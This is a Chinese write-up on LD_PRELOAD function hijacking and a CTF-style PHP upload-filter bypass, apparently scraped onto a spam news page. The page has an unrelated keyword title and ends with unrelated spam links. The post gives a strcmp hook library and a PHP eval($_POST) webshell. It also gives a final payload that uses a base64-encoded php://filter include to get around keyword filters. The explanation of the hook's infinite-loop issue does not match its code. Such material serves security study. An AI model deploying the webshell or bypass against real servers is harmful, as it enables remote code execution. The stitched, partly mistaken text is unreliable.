当前位置: 首页 > news >正文

html5 手机网站开发叫才西安市网站

html5 手机网站开发叫才,西安市网站,wordpress777,宝安网站设计最好的公司LD_PRELOAD LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数…

LD_PRELOAD

LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数库。

LD_PRELOAD 超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
  2. 将所写的 c 文件编译为动态链接库。
  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

whoami.c

#include <stdio.h>
#include <string.h>int main(int argc, char **argv) {char name[] = "mon";if (argc < 2) {printf("usage: %s <given-name>\n", argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf("\033[0;32;32mYour name Correct!\n\033[m");return 1;} else {printf("\033[0;32;31mYour name Wrong!\n\033[m");return 0;}
}

接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数

hook_strcmp.c

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

 

然后进行编译,并且通过hook_strcmp.c 生成一个动态链接文件如下代码:

root@kunkun-virtual-machine:~# gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
gcc -o whoami whoami.c

测试

root@kunkun-virtual-machine:~# ./whoami  aaa

You Name Wrong!

我们再加载一下环境变量,加载了环境变量后就意味着我们劫持成功了,
export LD_PRELOAD=$PWD/hook_strcmp.so

root@kunkun-virtual-machine:~# ./whoami  aaa

You Name Correct

绕过过滤
直接写一句话后门

<?php eval($_POST[1]); ?>

然后上传成功,拿到文件名

但是想要执行,反引号被ban了

那就用到php://filter解码一句话后门,然后再结合include:

php://filter/read=convert.base64-decode/resource=可以让后面的内容以php文件执行

include可以让php文件自动执行

那么就可以写成

<?php Includ("php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php"); ?>

思路就是利用伪协议让后门可执行,然后利用include自动执行

问题1.include被过滤了

        php函数不区分大小写,所以改成Include即可

问题2.伪协议被过滤了

        将php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php

整个进行base64编码即可

最后payload为:

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTUwMzIyNDJhYzNmMmM0NTUyZjcwMjZkZDk1NmY0MTEzLnBocA==")); ?>

 

http://www.dinnco.com/news/18553.html

相关文章:

  • 网络推广专员任职要求优化网站排名如何
  • 网站建设推广方案seo搜索引擎专员
  • 外贸网站 在线客服百度搜索app
  • phpcms网站模版搜索关键词排名工具
  • 鄂尔多斯网站建设免费网站推广群发软件
  • 公司网站怎么做百度竞价简单网页制作
  • wordpress评论已关闭免费seo网站诊断免费
  • 什么网站做美式软装设计方案个人网站设计模板
  • 郑州阿里巴巴网站建设关键词优化价格表
  • 网站制作的销售对象在线优化网站
  • 章丘网站开发培训建立网站的流程
  • 云南网站建设费用泉州seo按天收费
  • 专注河南网站建设新人跑业务怎么找客户
  • 导购网站建设需求模版黑客入侵网课
  • 网站建设官网型好呢还是商城型百度游戏官网
  • 开锁在百度上做网站要钱吗查关键词
  • php网站语言切换功能如何做免费二级域名分发网站源码
  • iOS开发 隐私政策网站怎么做百度关键词竞价查询系统
  • 南宁市两学一做网站电商网站分析
  • 广告网站怎么做的北京seo排名服务
  • 触屏网站模板站长之家网站模板
  • 西部数码 空间做2个网站推广营销软件app
  • 做app和网站哪个行业关键词查询
  • 网站建设发票属于增值税肇庆百度快速排名
  • php做动态网站建设基本seo
  • 厦门做网站设计关键词优化搜索排名
  • 如何替换网站简述网络推广的方法
  • 电子商务概论亿唐网不做网站做品牌游戏广告联盟平台
  • 做外贸网站那个好站长seo查询
  • 推网站河南郑州最近的热搜事件